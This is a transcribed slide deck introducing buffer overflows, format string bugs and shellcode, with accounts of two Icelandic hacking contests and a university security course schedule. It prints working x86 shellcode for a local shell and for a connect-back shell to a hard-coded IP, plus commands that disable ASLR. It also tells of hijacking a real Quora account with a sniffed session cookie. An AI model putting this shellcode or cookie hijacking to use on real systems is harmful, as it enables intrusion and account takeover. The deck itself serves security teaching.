Have fun learning by hacking! Trausti Saemundsson, Reykjavik University

1. Have fun learning by hacking!Trausti Saemundsson, Reykjavik University

2. Introduction • I am Trausti Saemundsson, a MSc student at Reykjavik University in Iceland • My supervisor is Ymir Vigfusson • I´m here in London doing research with Gregory Chockler on a multitenant cache algorithm Trausti Ymir Gregory

3. More about myself • I have a BSc in Mathematics with focus on Computer Science • Went to the IMO (International Mathematical Olympiad) in 2008 • I really like programming contests! • Participated in: • Facebook Hacker Cup 2013 • NWERC 2012 in Delft, The Netherlands. First Icelandic team! • NCPC 2012 • IEEEXtreme 24-Hour Programming Competition 2012 • Google Code Jam 2012 • Projecteuler, 112 solved problems

4. Topics for today • Today I´m going to tell you about two Icelandic hacking contests and show you a video! • I will introduce the necessary concepts for understanding what we were hacking • I will also introduce the schedule for a 3 week course “Computer Security” taught at Reykjavik University in May 2013

5. Why should we learn how to hack? • To be able to defend ourselves! • In order to defend ourselves against hackers, we must know how they think • By participating in a hacking contest, students learn the concepts extremely fast

6. Necessary concepts for today • Hacking: The craft of exploiting software to do something it is not supposed to do. • Buffer overflows, shellcodes and format string exploits • If you haven´t heard about those concepts, I will introduce them!

7. Vulnerable echo function /* echo.c */void echo() { char buf[4]; /* Very small */ gets(buf); /* Dangerous function */ puts(buf); } int main() { printf(“Type a string:”); echo();} • Okay • Buffer overflow! unix>./echo Type a string:123 123 unix>./echo Type a string:123456789ABC 123456789ABC Segmentation Fault

8. Safer version of the echo function /* safeecho.c */void echo() { char buf[4]; fgets(stdin, buf, 4); /* Read 3 bytes and add ‘\0’ */ puts(buf); } int main() { printf(“Type a string:”); echo();} • Okay • Okay as well! unix>./safeecho Type a string:123 123 unix>./safeecho Type a string:123456789ABC 123

9. Buffer overflows • C stores all variables on stack, but also other important stuff! • E.g. the address of where it was last executing (called the return address) Stack frame for main void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Stack grows down Old ebp buf Rest of stack frame for echo

10. Buffer overflows Could return to anywhere! • The input from the user overwrites the return address! Stack frame for main input from user void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Old ebp buf Rest of stack frame for echo

11. Buffer overflows Could return to anywhere! • Where would we want to return? • Could return to OUR input buffer • Treated as machine code! Can execute anything Stack frame for main input from user void echo() { char buf[4]; gets(buf); puts(buf); } int main() { ... echo(); } Return address Old ebp buf Rest of stack frame for echo

12. Shellcodes • What do we want to execute? • Could eject CDROM or delete all files • Could launch a shell (say „/bin/bash“) • Could open a new port and launch a shell there • The coolest thing to do with a buffer overflow is to launch a shell! • A small piece of machine code that launches a shell like /bin/bash is called a shellcode

13. Shellcode for a local shell • When executed, this shellcode stops the currently running program and opens /bin/sh instead /* Spawn a local shell */char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

14. Shellcode for a connect back shell char connectbackshell[] = "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x68" "\xc0\xa8\x01\x8f" // IP: 192.168.1.143 "\x66\x68" "\x05\x39" // Port: 1337 "\xb2\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89" "\xe1\xb3\x03\xb0\x66\xcd\x80\x99\x56\x8b\x1c" "\x24\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80" "\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" • When executed, this shellcode stops the currently running program and opens a connect back shell to 192.168.1.143 on port 1337instead • The IP 192.168.1.143 must be listening on port 1337 with netcat: nc –l –vv –p 1337

15. Buffer overflow protections • GCC stack protection • You can disable it by passing the compiler flag: -fno-stack-protector • Address space layout randomization (ASLR) • It can be disabled in Linux with: sysctl -w kernel.randomize_va_space=0 • Non-executable protection (NX Bit) • Disable it by booting Linux up with the parameter: noexec=off

16. Getting past the non-executable protection • The non executable protection makes parts of the stack and the heap non-executable • We can get past the non-executable protection by using: • Return-oriented programming (ROP). • ROP is to cherry pick parts of the code that is ALREADY executable to put together our evil code • Like making a mosaic!

17. Getting past the address randomization! • Address space layout randomization (ASLR)is a security method which randomizes the starting address of the stack, heap and the executable code • One way to get past this is to use NOP slides • NOP (0x90) is a machine language instruction for doing nothing

18. Getting past the address randomization! • The technique is to make an exploit like this: <address><a lot of nops><shellcode> • We overwrite the return address with <address> and then we hope that some part of the NOP slide is located at this address • If that happens, NOPs get executed one by oneuntil our shellcode gets executed 

19. Vulnerable Code for a Format String Exploit /* fm.c */int main() { char buf[128]; printf(“Type a string:”); gets(buf);printf(buf);} • Prints a value from the stack • Writes a value to the stack • Very dangerous! unix>./fm Type a string:%p 0xff8b7864 unix>./fm Type a string:%n unix>./fm Type a string:%n%n%n%n%n Segmentation fault

20. Format string exploits • Format string vulnerabilities • Using printf (cmd); instead of printf (“%s”, cmd); • Lazy programmers… bugs like this still found! • Allows an attacker to investigate memory • Attacker can also write to an arbitrary address • Using the %nprimitive carefully • Can take over the program, even remotely

21. The 2011 Hacking Contest • Vulnerable chat server running on an Ubuntu 11.04 server • The C source code is available at http://www.ymsir.com/contest.tgz • The contest had 4 different levels

22. The 2011 Hacking Contest • Level 1: Read the source code and find a secret string • Level 2: Make a function print a secret message • Level 3: Spawn a connect back shell via a buffer overflow • Level 4: Use a format string exploit to spawn a local shell

23. The 2011 Hacking Contest - Finals • Two persons finished the fourth level • They competed in a final standoff in the Icelandic television • Had to spawn a shell with a buffer overflow

24. The 2012 Hacking Contest • One file given: http://ymsir.com/hacking/mystery.jpg • Several levels, with secret keywords to submit to www.ymsir.com/hacking/ • First one had to discover that the file was a gzipped jpg file • Next to run f5-steganography on the jpg file to extract a txt file with a link

25. The 2012 Hacking Contest • The link contained a file • The file was a uuencoded C source code • The source code did a lot of random bit manipulations to the two arguments, a string and a number • The program then printed an IP address

26. The 2012 Hacking Contest - Continued • The correct arguments to the C program were given as hints in previous stages • The IP address that came from the C program dumped some code on port 666 • This code was a password protected ZIP archive • 2d6aa9e26592e9cf8e40d7e6753b87ba was given at a previous stage and this is md5(cracks) so the password to the ZIP archive was cracks

27. The 2012 Hacking Contest - Continued • The ZIP archive contained a TCPDUMP • By using wireshark to analyze the TCPDUMP, I found Ymir´s session cookie to www.quora.com • So I used this session cookie and changed his profile picture to a cat

28. The 2012 Hacking Contest - Continued • He got revenge by booting my laptop up into single user mode and changing my facebook profile picture: • And then he said on my half on facebook: “Some people just want to see the world burn” • After that I settled for peace 

29. The 2012 Hacking Contest - Continued • So I was not supposed to find this session cookie in the TCPDUMP but I was supposed to find a link to www.ymsir.com/ctf/ • This website contains: STAGE ZEBRA. Not authenticated. • When you give the website GET arguments: www.ymsir.com/ctf/?user=ctfit contains: *Hungry* for password

30. The 2012 Hacking Contest - Continued • By using a hint from a previous level the password was f00d, so by giving another argument: www.ymsir.com/ctf/?user=ctf&password=f00d • This site contains a private RSA key! • It also contains an IP address in the HTTP header

31. The 2012 Hacking Contest - Continued • Of course the RSA key was password protected with the password cracks • By using the RSA key, the username: ctf and the IP address one got into the server • The previous C source code had been compiled on this server with privileges of the user: ctf-final

32. The 2012 Hacking Contest - Continued • So next step was to find a buffer overflow vulnerability in the source code! • Then exploit it! • And then you were eligible to compete in the finals

33. The 2012 Hacking Contest - Finals • The finals were held on stage in a big cinema in Iceland • Every contestant got an Ubuntu 8.04 virtual machine with the same password • This virtual machine had several vulnerable C programs running • There was also a program /publishwhich we ran on the other computers to get points on the scoreboard

34. The 2012 Hacking Contest - Video • Now I will show you a video of the contest!

35. The 2012 Hacking Contest - Winner • I had a robust exploit ready which got me a connect back shell to all the other computers • I ran it in the beginning of the contest and put a while loop on every computer: • while true; do /publish trausti; sleep 1s; done & • Helgi Kristvin however uses a Dvorak keyboard and types extremely fast • Before I could change my SSH password, he connected to my computer and replaced /bin/ps with a program that printed an old output from /bin/ps • So I could not kill his ssh session into my computer!  Helgi Kristvin – The winner

36. Further hacking! • The participants of the contests had tremendous fun! • Learnt a lot by themselves! • Also used resources like: http://smashthestack.org/ http://insecure.org/stf/smashstack.html • And of course gdb 

37. Further hacking! • Ymir Vigfusson (www.ymsir.com) is the organizer of those hacking contests • He will also teach a 3 week course called Computer Security this spring • This course is focused on vulnerabilities rather than conventional security • More complex hacking techniques! • Schedule on next slide!

38. Computer Security at Reykjavik University3 week course – This is the schedule: • Week 1 (24/4 - 30/4) • Review of x86 assembly & C. Day assignment: decompiling x86. (+5%) • Basic buffer overflows in C programs. Lab #1: Buflab (10%) • Shellcodes and stack overflows. Lab #2: Stacklab (10%) • Wireless security. Optional lab: Wirelab (+5%) • Week 2 (1/5 – 7/5) • Heap overflows. Lab #3: Presentation (10%) • Defenses (NX, ASLR). • Format string attacks. Lab #4: Formatlab (10%) • Week 3 (8/5-11/5) • Web/logic and injection attacks. Lab #5: SQLlab(10%) • Network security, spoofing, sniffing, botnets. • Exploiting randomness. Lab #6: Entropylab(10%) • Final written exam (14/5?) (40%. Minimum 5.0/10.0 to pass)

39. Summary and final words • You saw examples of Buffer overflows, shellcodes and format string vulnerabilities • A brief overview of what happened at two Icelandic hacking contests! • I hope you enjoyed this presentation • If you haven´t already, I hope that you will be holding some Hacking Contests here! • Thank you!